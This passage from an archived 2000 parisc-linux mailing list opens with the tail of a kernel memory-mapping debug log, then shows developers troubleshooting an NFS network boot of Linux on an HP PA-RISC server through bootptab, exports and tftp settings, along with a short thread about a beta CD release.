 df692000,400+df692400,400 df692000,800+df692800,400 df692000,c00+df692c00,400 df692000,1000+df691000,400 (df692000, 1000)
 df691000,400+df691400,400 df691000,800+df691800,400 df691000,c00+df691c00,400 df691000,1000+df690000,400 (df691000, 1000)
 df690000,400+df690400,400 df690000,800+df690800,400 df690000,c00+df690c00,400 df690000,1000+df68f000,400 (df690000, 1000)
 df68f000,400+df68f400,400 df68f000,800+df68f800,400 df68f000,c00+df68fc00,400 df68f000,1000+df68e000,400 (df68f000, 1000)
 df68e000,400+df68e400,400 df68e000,800+df68e800,400 df68e000,c00+df68ec00,400 df68e000,1000+df68d000,400 (df68e000, 1000)
 df68d000,400+df68d400,400 df68d000,800+df68d800,400 df68d000,c00+df68dc00,400 df68d000,1000+df68c000,400 (df68d000, 1000)
 df68c000,400+df68c400,400 df68c000,800+df68c800,400 df68c000,c00+df68cc00,400 df68c000,1000+df68b000,400 (df68c000, 1000)
 df68b000,400+df68b400,400 df68b000,800+df68b800,400 df68b000,c00+df68bc00,400 df68b000,1000+df689000,400 (df68b000, 1000)
 df689000,400+df689400,400 df689000,800+df689800,400 df689000,c00+df689c00,400 (0xdf689000,1000)
() DONE 16 mappings
() START 64 entries,  df69a000,400
() DONE (nents 48)
() START 64 entries
 df688000,400+df688400,400 df688000,800+df688800,400 df688000,c00+df688c00,400 df688000,1000+df687000,400 (df688000, 1000)
 df687000,400+df687400,400 df687000,800+df687800,400 df687000,c00+df687c00,400 df687000,1000+df686000,400 (df687000, 1000)
 df686000,400+df686400,400 df686000,800+df686800,400 df686000,c00+df686c00,400 df686000,1000+df685000,400 (df686000, 1000)
 df685000,400+df685400,400 df685000,800+df685800,400 df685000,c00+df685c00,400 df685000,1000+df684000,400 (df685000, 1000)
 df684000,400+df684400,400 df684000,800+df684800,400 df684000,c00+df684c00,400 df684000,1000+df683000,400 (df684000, 1000)
 df683000,400+df683400,400 df683000,800+df683800,400 df683000,c00+df683c00,400 df683000,1000+df682000,400 (df683000, 1000)
 df682000,400+df682400,400 df682000,800+df682800,400 df682000,c00+df682c00,400 df682000,1000+df681000,400 (df682000, 1000)
 df681000,400+df681400,400 df681000,800+df681800,400 df681000,c00+df681c00,400 df681000,1000+df680000,400 (df681000, 1000)
 df680000,400+df680400,400 df680000,800+df680800,400 df680000,c00+df680c00,400 df680000,1000+df67e000,400 (df680000, 1000)
 df67e000,400+df67e400,400 df67e000,800+df67e800,400 df67e000,c00+df67ec00,400 df67e000,1000+df67d000,400 (df67e000, 1000)
 df67d000,400+df67d400,400 df67d000,800+df67d800,400 df67d000,c00+df67dc00,400 df67d000,1000+df67c000,400 (df67d000, 1000)
 df67c000,400+df67c400,400 df67c000,800+df67c800,400 df67c000,c00+df67cc00,400 df67c000,1000+df67b000,400 (df67c000, 1000)
 df67b000,400+df67b400,400 df67b000,800+df67b800,400 df67b000,c00+df67bc00,400 df67b000,1000+df67a000,400 (df67b000, 1000)
 df67a000,400+df67a400,400 df67a000,800+df67a800,400 df67a000,c00+df67ac00,400 df67a000,1000+df679000,400 (df67a000, 1000)
 df679000,400+df679400,400 df679000,800+df679800,400 df679000,c00+df679c00,400 df679000,1000+df678000,400 (df679000, 1000)
 df678000,400+df678400,400 df678000,800+df678800,400 df678000,c00+df678c00,400 (0xdf678000,1000)
() DONE 16 mappings
() START 64 entries,  df688000,400
() DONE (nents 48)
() START 64 entries
 df675000,400+df675400,400 df675000,800+df675800,400 df675000,c00+df675c00,400 df675000,1000+df674000,400 (df675000, 1000)
 df674000,400+df674400,400 df674000,800+df674800,400 df674000,c00+df674c00,400 df674000,1000+df673000,400 (df674000, 1000)
 df673000,400+df673400,400 df673000,800+df673800,400 df673000,c00+df673c00,400 df673000,1000+df671000,400 (df673000, 1000)
 df671000,400+df671400,400 df671000,800+df671800,400 df671000,c00+df671c00,400 df671000,1000+df670000,400 (df671000, 1000)
 df670000,400+df670400,400 df670000,800+df670800,400 df670000,c00+df670c00,400 df670000,1000+df66f000,400 (df670000, 1000)
 df66f000,400+df66f400,400 df66f000,800+df66f800,400 df66f000,c00+df66fc00,400 df66f000,1000+df66e000,400 (df66f000, 1000)
 df66e000,400+df66e400,400 df66e000,800+df66e800,400 df66e000,c00+df66ec00,400 df66e000,1000+df66d000,400 (df66e000, 1000)
 df66d000,400+df66d400,400 df66d000,800+df66d800,400 df66d000,c00+df66dc00,400 df66d000,1000+df66c000,400 (df66d000, 1000)
 df66c000,400+df66c400,400 df66c000,800+df66c800,400 df66c000,c00+df66cc00,400 df66c000,1000+df66b000,400 (df66c000, 1000)
 df66b000,400+df66b400,400 df66b000,800+df66b800,400 df66b000,c00+df66bc00,400 df66b000,1000+df66a000,400 (df66b000, 1000)
 df66a000,400+df66a400,400 df66a000,800+df66a800,400 df66a000,c00+df66ac00,400 df66a000,1000+df669000,400 (df66a000, 1000)
 df669000,400+df669400,400 df669000,800+df669800,400 df669000,c00+df669c00,400 df669000,1000+df668000,400 (df669000, 1000)
 df668000,400+df668400,400 df668000,800+df668800,400 df668000,c00+df668c00,400 df668000,1000+df666000,400 (df668000, 1000)
 df666000,400+df666400,400 df666000,800+df666800,400 df666000,c00+df666c00,400 df666000,1000+df665000,400 (df666000, 1000)
 df665000,400+df665400,400 df665000,800+df665800,400 df665000,c00+df665c00,400 df665000,1000+df664000,400 (df665000, 1000)
 df664000,400+df664400,400 df664000,800+df664800,400 df664000,c00+df664c00,400 (0xdf664000,1000)
() DONE 16 mappings
() START 64 entries,  df675000,400
() DONE (nents 48)
() START 64 entries
 df663000,400+df663400,400 df663000,800+df663800,400 df663000,c00+df663c00,400 df663000,1000+df662000,400 (df663000, 1000)
 df662000,400+df662400,400 df662000,800+df662800,400 df662000,c00+df662c00,400 df662000,1000+df661000,400 (df662000, 1000)
 df661000,400+df661400,400 df661000,800+df661800,400 df661000,c00+df661c00,400 df661000,1000+df660000,400 (df661000, 1000)
 df660000,400+df660400,400 df660000,800+df660800,400 df660000,c00+df660c00,400 df660000,1000+df65f000,400 (df660000, 1000)
 df65f000,400+df65f400,400 df65f000,800+df65f800,400 df65f000,c00+df65fc00,400 df65f000,1000+df65e000,400 (df65f000, 1000)
 df65e000,400+df65e400,400 df65e000,800+df65e800,400 df65e000,c00+df65ec00,400 df65e000,1000+df65d000,400 (df65e000, 1000)
 df65d000,400+df65d400,400 df65d000,800+df65d800,400 df65d000,c00+df65dc00,400 df65d000,1000+df65b000,400 (df65d000, 1000)
 df65b000,400+df65b400,400 df65b000,800+df65b800,400 df65b000,c00+df65bc00,400 df65b000,1000+df65a000,400 (df65b000, 1000)
 df65a000,400+df65a400,400 df65a000,800+df65a800,400 df65a000,c00+df65ac00,400 df65a000,1000+df659000,400 (df65a000, 1000)
 df659000,400+df659400,400 df659000,800+df659800,400 df659000,c00+df659c00,400 df659000,1000+df658000,400 (df659000, 1000)
 df658000,400+df658400,400 df658000,800+df658800,400 df658000,c00+df658c00,400 df658000,1000+df657000,400 (df658000, 1000)
 df657000,400+df657400,400 df657000,800+df657800,400 df657000,c00+df657c00,400 df657000,1000+df656000,400 (df657000, 1000)
 df656000,400+df656400,400 df656000,800+df656800,400 df656000,c00+df656c00,400 df656000,1000+df655000,400 (df656000, 1000)
 df655000,400+df655400,400 df655000,800+df655800,400 df655000,c00+df655c00,400 df655000,1000+df654000,400 (df655000, 1000)
 df654000,400+df654400,400 df654000,800+df654800,400 df654000,c00+df654c00,400 df654000,1000+df653000,400 (df654000, 1000)
 df653000,400+df653400,400 df653000,800+df653800,400 df653000,c00+df653c00,400 (0xdf653000,1000)
() DONE 16 mappings
() START 64 entries,  df663000,400
() DONE (nents 48)
5+0 records in
5+0 records out
gggC3000:~# 


From - Thu Nov 08 21:13:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kailashnath V Rampure <kailasr@webcash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc problem
Date: Fri, 27 Oct 2000 13:37:49 -0700
Lines: 199
Approved: news@gmane.org
Message-ID: <5.0.0.25.0.20001027131913.00a57090@mail.webcash.com>
References: <Your message of "Thu, 26 Oct 2000 14:37:20 PDT." <5.0.0.25.0.20001026142948.00a3deb0@mail.webcash.com>
 <Message from Kailashnath V Rampure <kailasr@webcash.com>
 <5.0.0.25.0.20001026125217.00a43eb0@mail.webcash.com>
 <5.0.0.25.0.20001025173830.00a64a30@mail.webcash.com>
 <5.0.0.25.0.20001026125217.00a43eb0@mail.webcash.com>
 <5.0.0.25.0.20001026142948.00a3deb0@mail.webcash.com> <20001027004731.F142D38137@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_94006934==_.ALT"
X-Trace: ger.gmane.org 1416619224 5176 80.91.229.3 (22 Nov 2014 01:20:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:24 +0000 (UTC)
Cc: deller@gmx.de, parisc-linux@thepuffingroup.com
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: kailasr@webcash.com  Fri Oct 27 14:39:44 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA28762
	for <parisc-linux@puffin.external.hp.com>; Fri, 27 Oct 2000 14:39:44 -0600
Original-Received: (qmail 8844 invoked by uid 15267); 27 Oct 2000 20:41:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8828 invoked from network); 27 Oct 2000 20:41:18 -0000
Original-Received: from ns2.imedia.net (HELO galaxy-net.net) (209.247.154.4)
  by mailserv2.iuinc.com with SMTP; 27 Oct 2000 20:41:18 -0000
Original-Received: from test.webcash.com (adsl-63-202-198-74.dsl.snfc21.pacbell.net [63.202.198.74])
	by galaxy-net.net (8.10.2/8.9.3) with ESMTP id e9RKZnG96334;
	Fri, 27 Oct 2000 13:35:49 -0700 (PDT)
X-Sender: kailasr@mail.webcash.com
X-Mailer: QUALCOMM Windows Eudora Version 5.0
X-Priority: 1 (Highest)
In-Reply-To: <20001027004731.F142D38137@carmen.fc.hp.com>
Original-References: <Your message of "Thu, 26 Oct 2000 14:37:20 PDT." <5.0.0.25.0.20001026142948.00a3deb0@mail.webcash.com>
 <Message from Kailashnath V Rampure <kailasr@webcash.com>
 <5.0.0.25.0.20001026125217.00a43eb0@mail.webcash.com>
 <5.0.0.25.0.20001025173830.00a64a30@mail.webcash.com>
 <5.0.0.25.0.20001026125217.00a43eb0@mail.webcash.com>
 <5.0.0.25.0.20001026142948.00a3deb0@mail.webcash.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8245

--=====================_94006934==_.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed

Hi Matt,

I could run as you told but had problems so i did what helge had (you need 
to go to /palo/ipl and do "hppa-linux-ranlib ipl.a". Then go back to /linux 
and do a "make palo" again.) then lif image was created.

But when I type bo lan at HP server Iget the following error
-------------------------
Booting...
Cannot find ENTRY_TEST.

Fail to initialize.

ENTRY_INT
Status=-7
----------------------------------
My config files are as follows:

I have /etc/bootptab file as follows:
-------------------------
linux:\
         hn:\
         sm=255.255.248.0:\
         vm=rfc1048:\
         ht=ether:\
         hd=/tftpboot:\
         bf=vmlinux:\
         ha=0010830339e0:\
         ip=192.168.1.237
--------------------------------

and my exports file reads as :
--------------------------------------------------
/tftpboot/linux linux(rw,no_root_squash)
-------------------------------------------------------

I had changed the NFSROOT line in Makefile in palo  to
NFSROOT = 192.168.1.236:/tftpboot/linux



At 06:47 PM 10/26/00 -0600, Matt Taggart wrote:

>Kailashnath V Rampure writes...
>
> > Thanks Matt,
> >
> > I have downloaded prebuilt cross-compiler but can you direct me to any
> > documentation how to use this cross compiler. I want to do a NFS boot. I
>
>Untar it in /, it will live in /opt/palinux.
>Add /opt/palinux/bin to your path
>Edit palo/Makefile and set it up for nfsroot, mine has the following line,
>
>NFSROOT = 15.1.51.72:/tftpboot/geordi
>
>That's the location of my nfsroot. Make sure you export it. My /etc/exports
>contains,
>
>/tftpboot/geordi                15.1.51.73(rw,no_root_squash)
>
>Then in the linux directory do,
>
>make oldconfig (maybe answer questions)
>make dep;make clean
>make palo
>
>Setup your bootp server to point to the lifimage generated. My /etc/bootptab
>contains,
>
>geordi:\
>         hn:\
>         sm=255.255.248.0:\
>         vm=rfc1048:\
>         ht=ether:\
>         hd=/tftpboot:\
>         bf=lif-geordi:\
>         ha=0800097891EB:\
>         ip=15.1.51.73
>
>and /tftpboot/lif-geordi is a symlink to palo/lifimage
>
>Hopefully that's enough information to get you going. If you have problems
>please let me know how far you get.
>
>Thanks,
>
>--
>Matt Taggart
>taggart@fc.hp.com

--=====================_94006934==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
Hi Matt,<br>
<br>
I could run as you told but had problems so i did what helge had (you
need to go to /palo/ipl and do &quot;hppa-linux-ranlib ipl.a&quot;. Then
go back to /linux and do a &quot;make palo&quot; again.) then lif image
was created. <br>
<br>
But when I type bo lan at HP server Iget the following error<br>
-------------------------<br>
Booting...<br>
Cannot find ENTRY_TEST.<br>
<br>
Fail to initialize.<br>
<br>
ENTRY_INT<br>
Status=-7<br>
----------------------------------<br>
My config files are as follows:<br>
<br>
I have /etc/bootptab file as follows:<br>
-------------------------<br>
linux:\<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hn:\<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sm=255.255.248.0:\<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; vm=rfc1048:\<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ht=ether:\<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hd=/tftpboot:\<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bf=vmlinux:\<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ha=0010830339e0:\<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ip=192.168.1.237<br>
--------------------------------<br>
<br>
and my exports file reads as :<br>
--------------------------------------------------<br>
/tftpboot/linux linux(rw,no_root_squash)<br>
-------------------------------------------------------<br>
<br>
I had changed the NFSROOT line in Makefile in palo&nbsp; to <br>
NFSROOT = 192.168.1.236:/tftpboot/linux<br>
<br>
<br>
<br>
At 06:47 PM 10/26/00 -0600, Matt Taggart wrote:<br>
<br>
<blockquote type=cite class=cite cite>Kailashnath V Rampure
writes...<br>
<br>
&gt; Thanks Matt,<br>
&gt; <br>
&gt; I have downloaded prebuilt cross-compiler but can you direct me to
any <br>
&gt; documentation how to use this cross compiler. I want to do a NFS
boot. I <br>
<br>
Untar it in /, it will live in /opt/palinux.<br>
Add /opt/palinux/bin to your path<br>
Edit palo/Makefile and set it up for nfsroot, mine has the following
line,<br>
<br>
NFSROOT = 15.1.51.72:/tftpboot/geordi<br>
<br>
That's the location of my nfsroot. Make sure you export it. My
/etc/exports <br>
contains,<br>
<br>
/tftpboot/geordi<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>15.1.51.73(rw,no_root_squash)<br>
<br>
Then in the linux directory do,<br>
<br>
make oldconfig (maybe answer questions)<br>
make dep;make clean<br>
make palo<br>
<br>
Setup your bootp server to point to the lifimage generated. My
/etc/bootptab <br>
contains,<br>
<br>
geordi:\<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hn:\<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sm=255.255.248.0:\<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; vm=rfc1048:\<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ht=ether:\<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hd=/tftpboot:\<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bf=lif-geordi:\<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ha=0800097891EB:\<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ip=15.1.51.73<br>
<br>
and /tftpboot/lif-geordi is a symlink to palo/lifimage<br>
<br>
Hopefully that's enough information to get you going. If you have
problems <br>
please let me know how far you get.<br>
<br>
Thanks,<br>
<br>
-- <br>
Matt Taggart<br>
taggart@fc.hp.com</blockquote></html>

--=====================_94006934==_.ALT--


From - Thu Nov 08 21:13:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc problem
Date: Fri, 27 Oct 2000 14:27:59 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <200010272128.OAA23999@milano.cup.hp.com>
References: <5.0.0.25.0.20001027131913.00a57090@mail.webcash.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619225 5180 80.91.229.3 (22 Nov 2014 01:20:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:25 +0000 (UTC)
Cc: Matt Taggart <taggart@carmen.fc.hp.com>, deller@gmx.de,
        parisc-linux@thepuffingroup.com
To: Kailashnath V Rampure <kailasr@webcash.com>
Original-X-From: grundler@cup.hp.com  Fri Oct 27 15:22:29 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA29414
	for <parisc-linux@puffin.external.hp.com>; Fri, 27 Oct 2000 15:22:28 -0600
Original-Received: (qmail 30098 invoked by uid 15267); 27 Oct 2000 21:24:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30090 invoked from network); 27 Oct 2000 21:24:03 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 27 Oct 2000 21:24:03 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 48608144A; Fri, 27 Oct 2000 14:23:15 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id OAA23999;
	Fri, 27 Oct 2000 14:28:00 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 27 Oct 2000 13:37:49 PDT."
             <5.0.0.25.0.20001027131913.00a57090@mail.webcash.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8246

Kailashnath V Rampure wrote:
...
> But when I type bo lan at HP server Iget the following error
> -------------------------
> Booting...
> Cannot find ENTRY_TEST.
> 
> Fail to initialize.
> 
> ENTRY_INT
> Status=-7

Config files look fine.
What does your HP server report for "search lan"?
(type that instead of "bo lan")

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Beta CD
Date: Fri, 27 Oct 2000 14:41:33 -0700
Lines: 31
Approved: news@gmane.org
Message-ID: <200010272141.OAA24047@milano.cup.hp.com>
References: <20001027162136.C859@achilles.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619225 5183 80.91.229.3 (22 Nov 2014 01:20:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:25 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Paul J.Y. Lahaie" <pjlahaie@linuxcare.com>
Original-X-From: grundler@cup.hp.com  Fri Oct 27 15:35:21 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA29975
	for <parisc-linux@puffin.external.hp.com>; Fri, 27 Oct 2000 15:35:20 -0600
Original-Received: (qmail 12066 invoked by uid 15267); 27 Oct 2000 21:36:55 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12059 invoked from network); 27 Oct 2000 21:36:55 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 27 Oct 2000 21:36:55 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 14D0E71; Fri, 27 Oct 2000 14:36:54 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id OAA24047;
	Fri, 27 Oct 2000 14:41:39 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 27 Oct 2000 16:21:36 PDT."
             <20001027162136.C859@achilles.net> 
Xref: news.gmane.org gmane.linux.ports.parisc:8247

Paul,
Is the intent here to collect experience for a "Beta II" CD?

If not, would you consider publishing a pre-beta ISO and include
early feedback on:
o which machines it's intended for and which it's known to work on
o known bugs (not fix them all...just list them)

"Paul J.Y. Lahaie" wrote:
> Hello everyone,
> 
> I am in the process of creating a new Beta CD for Linux on PA-RISC.
> Currently the CD will include the following:
...
> If there is anything you think should be on it, please send me some
> suggestions.  I can't promise they'll all make it, but I'll see what
> can be done.

TODO list from our status page?

> PS:  This will be an online ISO image release only.

That makes sense given how fast things are changing still.

thanks,
grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kailashnath V Rampure <kailasr@webcash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc problem
Date: Fri, 27 Oct 2000 14:29:53 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <5.0.0.25.0.20001027142719.03822920@mail.webcash.com>
References: <Your message of "Fri, 27 Oct 2000 13:37:49 PDT." <5.0.0.25.0.20001027131913.00a57090@mail.webcash.com> <200010272128.OAA23999@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416619225 5184 80.91.229.3 (22 Nov 2014 01:20:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:25 +0000 (UTC)
Cc: Matt Taggart <taggart@carmen.fc.hp.com>, deller@gmx.de,
        parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: kailasr@webcash.com  Fri Oct 27 15:35:44 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA30084
	for <parisc-linux@puffin.external.hp.com>; Fri, 27 Oct 2000 15:35:44 -0600
Original-Received: (qmail 12425 invoked by uid 15267); 27 Oct 2000 21:37:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12368 invoked from network); 27 Oct 2000 21:37:18 -0000
Original-Received: from ns2.imedia.net (HELO galaxy-net.net) (209.247.154.4)
  by mailserv2.iuinc.com with SMTP; 27 Oct 2000 21:37:18 -0000
Original-Received: from test.webcash.com (adsl-63-202-198-74.dsl.snfc21.pacbell.net [63.202.198.74])
	by galaxy-net.net (8.10.2/8.9.3) with ESMTP id e9RLRqG01260;
	Fri, 27 Oct 2000 14:27:52 -0700 (PDT)
X-Sender: kailasr@mail.webcash.com
X-Mailer: QUALCOMM Windows Eudora Version 5.0
In-Reply-To: <200010272128.OAA23999@milano.cup.hp.com>
Original-References: <Your message of "Fri, 27 Oct 2000 13:37:49 PDT." <5.0.0.25.0.20001027131913.00a57090@mail.webcash.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8248

The path number is P0, device path is 8/0/20/0.0 and device type is LAN MODULE.

I also see on the Linux server that bootpd is being invoked for some time only.

At 02:27 PM 10/27/00 -0700, Grant Grundler wrote:
>Kailashnath V Rampure wrote:
>...
> > But when I type bo lan at HP server Iget the following error
> > -------------------------
> > Booting...
> > Cannot find ENTRY_TEST.
> >
> > Fail to initialize.
> >
> > ENTRY_INT
> > Status=-7
>
>Config files look fine.
>What does your HP server report for "search lan"?
>(type that instead of "bo lan")
>
>grant
>
>Grant Grundler
>Unix Systems Enablement Lab
>+1.408.447.7253


From - Thu Nov 08 21:13:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc problem
Date: Fri, 27 Oct 2000 15:41:52 -0600
Lines: 16
Approved: news@gmane.org
Message-ID: <20001027214152.F259D38137@carmen.fc.hp.com>
References: <Your message of "Thu, 26 Oct 2000 14:37:20 PDT." 
 <5.0.0.25.0.20001026142948.00a3deb0@mail.webcash.com> <Message from 
 Kailashnath V Rampure <kailasr@webcash.com> <5.0.0.25.0.20001026125217.00a43eb0@mail.webcash.com> <5.0.0.25.0.20001025173830.00a64a30@mail.webcash.com> <5.0.0.25.0.20001026125217.00a43eb0@mail.webcash.com> <5.0.0.25.0.20001026142948.00a3deb0@mail.webcash.com>  <5.0.0.25.0.20001027131913.00a57090@mail.webcash.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619226 5189 80.91.229.3 (22 Nov 2014 01:20:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:26 +0000 (UTC)
Cc: deller@gmx.de, parisc-linux@thepuffingroup.com
To: Kailashnath V Rampure <kailasr@webcash.com>
Original-X-From: taggart@carmen.fc.hp.com  Fri Oct 27 15:38:43 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA30850
	for <parisc-linux@puffin.external.hp.com>; Fri, 27 Oct 2000 15:38:42 -0600
Original-Received: (qmail 15908 invoked by uid 15267); 27 Oct 2000 21:40:05 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15864 invoked from network); 27 Oct 2000 21:40:03 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 27 Oct 2000 21:40:03 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP
	id E8BC299C; Fri, 27 Oct 2000 17:40:02 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id F259D38137; Fri, 27 Oct 2000 15:41:52 -0600 (MDT)
X-Mailer: exmh version 2.1.1 10/15/1999 (debian)
In-Reply-To: Message from Kailashnath V Rampure <kailasr@webcash.com> 
   of "Fri, 27 Oct 2000 13:37:49 PDT." <5.0.0.25.0.20001027131913.00a57090@mail.webcash.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8249


Kailashnath V Rampure writes...

> But when I type bo lan at HP server Iget the following error

Do you have tftp installed and working? It usually runs via inetd. Here's what 
I have in /etc/inetd.conf on my Debian box,

tftp  dgram  udp  wait  nobody  /usr/sbin/tcpd  /usr/sbin/in.tftpd /boot 
/tftpboot

-- 
Matt Taggart
taggart@fc.hp.com



From - Thu Nov 08 21:13:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@noam.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc problem
Date: Fri, 27 Oct 2000 15:41:42 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <E13pHFu-0003FA-00@noam.fc.hp.com>
